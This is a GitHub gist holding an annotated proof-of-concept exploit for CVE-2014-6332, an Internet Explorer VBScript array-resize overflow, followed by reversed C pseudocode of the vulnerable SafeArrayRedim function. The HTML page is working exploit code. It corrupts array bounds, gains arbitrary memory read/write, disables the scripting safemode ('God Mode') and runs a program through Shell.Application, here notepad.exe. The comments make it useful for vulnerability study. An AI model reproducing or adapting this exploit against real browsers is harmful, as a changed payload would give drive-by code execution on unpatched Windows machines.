Last active
January 18, 2024 08:23
-
-
Save worawit/77a839e3e5ca50916903 to your computer and use it in GitHub Desktop.
CVE-2014-6332
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<!-- | |
CVE-2014-6332 PoC with comments and better variable names | |
References: | |
- original PoC - http://www.exploit-db.com/exploits/35229/ | |
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/ | |
- http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html | |
- VARIANT - http://msdn.microsoft.com/en-us/library/windows/desktop/ms221627%28v=vs.85%29.aspx | |
- VarType - http://msdn.microsoft.com/en-us/library/3kfz157h%28v=vs.84%29.aspx | |
--> | |
<!-- enable vbscript on IE11 --> | |
<meta http-equiv="x-ua-compatible" content="IE=10"> | |
<script language="javascript"> | |
// get user-agent here because vbscript in IE11 has no "Navigator.UserAgent" | |
var userAgent = navigator.userAgent; | |
</script> | |
<script language="VBScript"> | |
function runshell() | |
On Error Resume Next | |
set shell=createobject("Shell.Application") | |
shell.ShellExecute "notepad.exe" | |
end function | |
</script> | |
<script language="VBScript"> | |
dim arrX() | |
dim arrY() | |
dim asize | |
dim incsize | |
dim olapPos ' the pos of arrX to be overlapped with arrY(0) after trigger the vuln | |
' After trigger the vuln, rgsabound[0].cElements of arrX is set to very large number. | |
' So arrX can be used to access arbitrary memory. | |
' The wanted memory layout is | |
' | arrY(0) | arrY(1) | | |
' | type(2) | pad(6) | data(8) | type(2) | pad(6) | data(8) | | |
' | arrX(olapPos) | | |
' | type(2) | pad(6) | data(8) | | |
' To full control VARIANT struct of 'arrX(olapPos)' is | |
' - set 'data' value in arrX(olapPos) | |
' - change type of arrX(olapPos) by setting 'data' value in arrY(0) | |
' Note: Original use double for changing type. I guess it is for win9x. | |
' So I keep it. | |
dim myarray | |
Begin() | |
function Begin() | |
On Error Resume Next | |
' assume no win9x | |
If (instr(userAgent,"MSIE") = 0) Then | |
' no IE | |
exit function | |
End If | |
If (instr(userAgent, "Win64") > 0) Then | |
' 64-bit is very difficult to exploit because 2-nd bug is hard to trigger | |
exit function | |
End If | |
Init() | |
If Exploit() = True Then | |
EnableGodMode() | |
' reset array size to real size (prevent IE get crashed) | |
redim Preserve arrX(asize) | |
runshell() | |
End If | |
end function | |
function Init() | |
Randomize() | |
' current array size | |
asize = 13 + 17*rnd(6) | |
' how many array size to be increased if fail | |
incsize = 7 + 3*rnd(5) | |
end function | |
function Exploit() | |
dim i | |
Exploit = False | |
' loop until success, max 400 times | |
For i = 0 To 400 | |
' change array size and try again until 'arrY' is next to array 'arrX' | |
asize = asize + incsize | |
If Trigger() = True Then | |
Exploit = True | |
Exit For | |
End If | |
Next | |
end function | |
function Trigger() | |
On Error Resume Next | |
dim typev ' variant type | |
dim ofnumele ' number of element to overflow | |
Trigger = False | |
olapPos = asize + 2 | |
' size of VARIANT is 16 bytes so overflow number is 0x80000000 >> 4 = 0x8000000 | |
ofnumele = asize + &h8000000 | |
' resize to make arrX and arrY to be allocated in new memory space. | |
' allocate arrX bigger than needed then shrink to prevent access violation | |
' from arrx(olapPos+2) in case of arrX is allocated at end of heap block. | |
' double it size to increase chance for arrY to be allocated next to arrX | |
redim Preserve arrX(asize*2+1) | |
redim Preserve arrX(asize) | |
redim arrY(asize) | |
' trigger the vuln | |
redim Preserve arrX(ofnumele) | |
' if 'arrX' and 'arrY' are allocated as we wanted | |
' VarType(arrX(olapPos)) will be changed if arrY(0) is changed | |
typev = 1 | |
arrY(0) = 1.123456789012345678901234567890 ' 66 6f 74 d3 ad f9 f1 3f | |
' Note: VarType() maskes 0xbfff | |
If (IsObject(arrX(olapPos-1)) = False) Then | |
' VarType(arrX(olapPos-1)) is heap metadata | |
If (VarType(arrX(olapPos-1)) <> 0) Then | |
If (IsObject(arrX(olapPos)) = False) Then | |
typev = VarType(arrX(olapPos)) | |
End If | |
End If | |
End If | |
' for extra check and clean the number in memory | |
arrY(0) = 0.0 | |
If (typev = &h2f66) Then | |
If VarType(arrX(olapPos)) = 0 Then | |
Trigger = True | |
End If | |
ElseIf (typev = &hB9AD) Then | |
If VarType(arrX(olapPos)) = 0 Then | |
Trigger = True | |
'win9x = 1 | |
End If | |
End If | |
If Trigger = False Then | |
' reset array 'arrX' size to not get crash in next try | |
redim Preserve arrX(asize) | |
End If | |
' original PoC does below so POC has to trigger every time before | |
' read/write arbitrary memory with type confusion | |
' reset array 'arrX' size to not get crash in next try | |
'redim Preserve arrX(asize) | |
end function | |
function ReadMemInt(addr) | |
' set arrX(olapPos) type to empty (uninitialized) | |
arrY(0) = 0 | |
arrX(olapPos) = addr+4 | |
' set arrX(olapPos) to BSTR so above is set BSTR data address | |
'arrY(0) = 8 | |
arrY(0) = 1.69759663316747E-313 ' 0000000800000008 (BSTR type) | |
ReadMemInt = lenb(arrX(olapPos)) ' the BSTR len is at addr+4-4 | |
' set arrX(olapPos) type back to empty | |
'arrY(0) = 0 | |
end function | |
function EnableGodMode() | |
i = LeakFnAddr() | |
i = ReadMemInt(i+8) ' get address of CScriptEntryPoint which includes pointer to COleScript | |
i = ReadMemInt(i+16) ' get address of COleScript which includes pointer the said safemode flags | |
' fake SAFEARRAY | |
' - pvData points to address 0 | |
' - cbElements (size per element) to 1 | |
' - rgsabound[0].cElements is 0x7ffffffff | |
myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000") | |
' set arrX(olapPos+2) to be fake array, so we can do arbitrary write with it | |
arrX(olapPos+2) = myarray | |
'arrY(2) = 8192 + 12 | |
arrY(2) = 1.74088534731324E-310 ' 0000200c0000200c ( type array of Variant ) | |
EnableGodMode = False | |
For k=0 To &h60 step 4 | |
j = ReadMemInt(i+&h120+k) | |
If (j = 14) Then | |
' below write 16 bytes (VARIANT size) of zero | |
arrX(olapPos+2)(i+&h11c+k) = arrY(4) ' change safemode flags | |
EnableGodMode = True | |
Exit For | |
End If | |
Next | |
' reset arrX(olapPos+2) to string | |
'arrY(2) = 8 | |
'arrY(2) = 1.69759663316747E-313 ' 0000000800000008 | |
end function | |
sub dummyfn() | |
end sub | |
function LeakFnAddr() | |
On Error Resume Next | |
' make stack put dummyfn() address | |
i = dummyfn | |
' set i to null type, but its data is dummyfn() address | |
i = null | |
' set i to arrX(olapPos), then change type to long (for leaking) | |
arrY(0) = 0 | |
arrX(olapPos) = i | |
'arrY(0) = 3 | |
arrY(0) = 6.36598737437801E-314 ' 0000000300000003 ( type vbLong ) | |
' return the leak address of dummyfn() | |
LeakFnAddr = arrX(olapPos) | |
end function | |
</script> | |
</head> | |
<body> | |
CVE-2014-6332 PoC | |
</body> | |
</html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* reversed SafeArrayRedim() in oldaut32.dll (Windows XP) | |
* for CVE-2014-6332 | |
*/ | |
typedef struct tagSAFEARRAY | |
{ | |
USHORT cDims; // number of dimensions | |
USHORT fFeatures; // type of elements | |
ULONG cbElements; // byte size per element | |
ULONG cLocks; // lock count | |
PVOID pvData; // data buffer | |
SAFEARRAYBOUND rgsabound[1]; // bounds, one per dimension | |
} SAFEARRAY; | |
typedef struct tagSAFEARRAYBOUND | |
{ | |
ULONG cElements; // number of indices in this dimension | |
LONG lLbound; // lowest valid index | |
} SAFEARRAYBOUND; | |
HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew) | |
{ | |
HRESULT hr; | |
SAFEARRAYBOUND psaboundOriginal; | |
LONG noReAllocFlag; | |
ULONG arraySizeNew; | |
ULONG arraySizeOriginal; | |
LONG arraySizeDiff; | |
void *pDataLost = NULL; | |
IMalloc *pMalloc = NULL; | |
if (!psa || !psaboundNew) { | |
hr = E_INVALIDARG; | |
goto on_exit; | |
} | |
if (psa->cDims == 0) | |
return E_INVALIDARG; | |
noReAllocFlag = psa->fFeatures & 0x2000; | |
if (psa->cLocks || (psa->fFeatures & FADF_FIXEDSIZE)) | |
return E_ARRAYISLOCKED; | |
hr = GetMalloc(&pMalloc); | |
if (FAILED(hr)) | |
goto cleanup_exit; | |
arraySizeOriginal = SafeArraySize(psa); | |
if (arrSizeOriginal && !psa_->pvData) | |
return E_INVALIDARG; | |
psaboundOriginal = psa->rgsabound[0]; | |
psa->rgsabound[0] = psaboundNew; | |
arraySizeNew = SafeArraySize(psa); | |
if (arraySizeNew == -1) { | |
// new array size is overflow | |
psa->rgsabound[0] = psaboundOriginal; | |
hr = E_OUTOFMEMORY; | |
goto cleanup_exit; | |
} | |
arraySizeDiff = arraySizeNew - arraySizeOriginal; // BUG: diff might be negative even new > original | |
if (arraySizeDiff == 0) { | |
hr = 0; | |
goto cleanup_exit; | |
} | |
if (arraySizeDiff < 0 && (psa->fFeatures & (FADF_VARIANT | FADF_DISPATCH | FADF_UNKNOWN | FADF_BSTR | FADF_RECORD))) { | |
// shrink and removed data are needed to be released properly | |
if (noReAllocFlag) { | |
pDataLost = psa->pvData + arraySizeNew; | |
} | |
else { | |
pDataLost = pMalloc->Alloc(-arraySizeDiff); | |
if (!pDataLost) { | |
hr = E_OUTOFMEMORY; // BUG: no restore psa->rgsabound[0] | |
// in 64-bit process, this bug is very difficult to trigger | |
// if the bug here cannot be triggered, we have to make | |
// - memcpy() below has no crash | |
// - possible by make arraySizeDiff near -1, so arraySizeNew is very large (~4GB) | |
// - Realloc(psa->pvData, arraySizeNew) succeed (no error) | |
// - ReleaseResource(...) release our allocated object (without crash) | |
// - MIGHT trigger UAF (I guess) | |
goto cleanup_exit; | |
} | |
memcpy(pDataLost, psa->pvData + arraySizeNew, -arraySizeDiff); | |
} | |
} | |
void *tmpData; | |
if (noReAllocFlag) { | |
if (arraySizeNew > arraySizeOriginal) { | |
tmpData = pMalloc->Alloc(arraySizeNew); | |
if (!tmpData) { | |
psa->rgsabound[0] = psaboundOriginal; | |
hr = E_OUTOFMEMORY; | |
goto cleanup_exit; | |
} | |
memcpy(tmpData, psa->pvData, arraySizeOriginal); | |
psa->fFeatures &= 0xDFFF; | |
} | |
} | |
else { | |
tmpData = pMalloc->Realloc(psa->pvData, arraySizeNew); | |
if (!tmpData) { | |
if (arraySizeNew == 0) { | |
tmpData = pMalloc->Alloc(0); | |
} | |
else { | |
psa->rgsabound[0] = psaboundOriginal; | |
hr = E_OUTOFMEMORY; | |
goto cleanup_exit; | |
} | |
} | |
} | |
psa->pvData = tmpData; | |
if (arraySizeDiff > 0) { | |
// grow, clear all new elements to 0 | |
memset(psa->pvData + arraySizeOriginal, 0, arraySizeDiff); | |
} | |
else { | |
// shrink, release resource | |
if (pDataLost) | |
ReleaseResource(psa, pDataLost, -arraySizeDiff, psa->fFeatures, psa->cbElements); | |
if (noReAllocFlag) | |
pDataLost = NULL; | |
} | |
hr = 0; | |
cleanup_exit: | |
if (pDataLost) { | |
pMalloc->Free(pDataLost); | |
} | |
on_exit: | |
return hr; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment